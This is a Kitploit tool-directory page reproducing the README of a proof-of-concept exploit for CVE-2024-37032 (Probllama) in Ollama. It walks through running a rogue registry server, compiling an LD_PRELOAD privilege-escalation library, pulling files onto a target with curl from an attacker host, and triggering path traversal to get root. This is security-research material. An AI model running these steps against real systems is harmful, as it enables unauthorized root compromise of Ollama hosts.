Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-37032-PoC — CVE-2024-37032 (Probllama) PoC for Ollama ≤0.1.33: path traversal and arbitrary file write via model digest handling, leading to automated privilege escalation. | Kitploit
Tools/GitHubGitHub/itzsh4dowxz/cve-2024-37032-poc
Privilege EscalationVulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHubitzsh4dowxz/cve-2024-37032-poc

CVE-2024-37032-PoC

CVE-2024-37032 (Probllama) PoC for Ollama ≤0.1.33: path traversal and arbitrary file write via model digest handling, leading to automated privilege escalation.

View Repository
81 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2024-37032 Probllama PoC — Ollama Path Traversal and Privilege Escalation

This repository contains a proof of concept FastAPI registry server, connector script, and preload demo library for authorized lab testing.

Use this only on systems you own or are explicitly allowed to test.

Files

  • server.py: starts the FastAPI PoC server.
  • rogue_server/config.py: central configuration for the PoC server.
  • connector.py: sends the pull/push requests to the target Ollama API.
  • preload_privs_demo.c: C source for the shared object payload.
  • requirements.txt: Python dependencies for the PoC server.

1. Install Server Dependencies

On your host machine, install the Python dependencies:

root@kitploit:~
python -m pip install -r requirements.txt

2. Configure The Host And Ports

Edit rogue_server/config.py on your host machine:

root@kitploit:~
HOST = "<your_host_ip_or_host_ip>"

Edit connector.py:

root@kitploit:~
SERVER_HOST = "<your_host_ip_or_host_ip:8000>"
TARGET_HOST = "127.0.0.1"
TARGET_PORT = 11434

Notes:

  • SERVER_HOST must point to the host running server.py.
  • If the PoC server runs on port 8000, include the port in both HOST and SERVER_HOST, for example 10.10.16.160:8000.
  • TARGET_HOST and TARGET_PORT must point to the target Ollama API. If connector.py runs directly on the target machine, 127.0.0.1:11434 is usually correct.
  • If you change rogue_server/config.py, restart the PoC server.

3. Build The Shared Object

Compile the C file and name the output libpreload_privs_demo.so:

root@kitploit:~
gcc -shared -fPIC -o libpreload_privs_demo.so preload_privs_demo.c

4. Transfer Files To The Target

Copy these files to the authorized target machine:

  • libpreload_privs_demo.so
  • connector.py

One simple way is to serve them from your host machine:

root@kitploit:~
python3 -m http.server 8081

Then download them from the target machine:

root@kitploit:~
curl -O http://<your_host_ip>:8081/libpreload_privs_demo.so
curl -O http://<your_host_ip>:8081/connector.py

After downloading the shared object, copy its absolute path on the target machine and set that same path as exploit_path in rogue_server/config.py on the host machine.

Example:

root@kitploit:~
exploit_path = "/tmp/libpreload_privs_demo.so"

5. Start The PoC Server

Start the FastAPI server on your host machine:

root@kitploit:~
python server.py

By default, this project starts Uvicorn on 0.0.0.0:8000.

6. Run The Connector

On the authorized target machine, run:

root@kitploit:~
python3 connector.py

The connector sends the pull and push requests to the configured Ollama API.

7. Validate The Result

After the connector finishes, run:

root@kitploit:~
su

In a vulnerable, correctly configured lab target, the preload path should be used and the privilege transition can be observed.

Troubleshooting

  • Confirm the host firewall allows the PoC server port and the temporary file server port.
  • Confirm SERVER_HOST in connector.py matches HOST in rogue_server/config.py.
  • Confirm exploit_path is the exact absolute path where libpreload_privs_demo.so exists on the target machine.
  • Confirm the target Ollama API is reachable at TARGET_HOST:TARGET_PORT.
  • Restart server.py after changing rogue_server/config.py.
Download Tool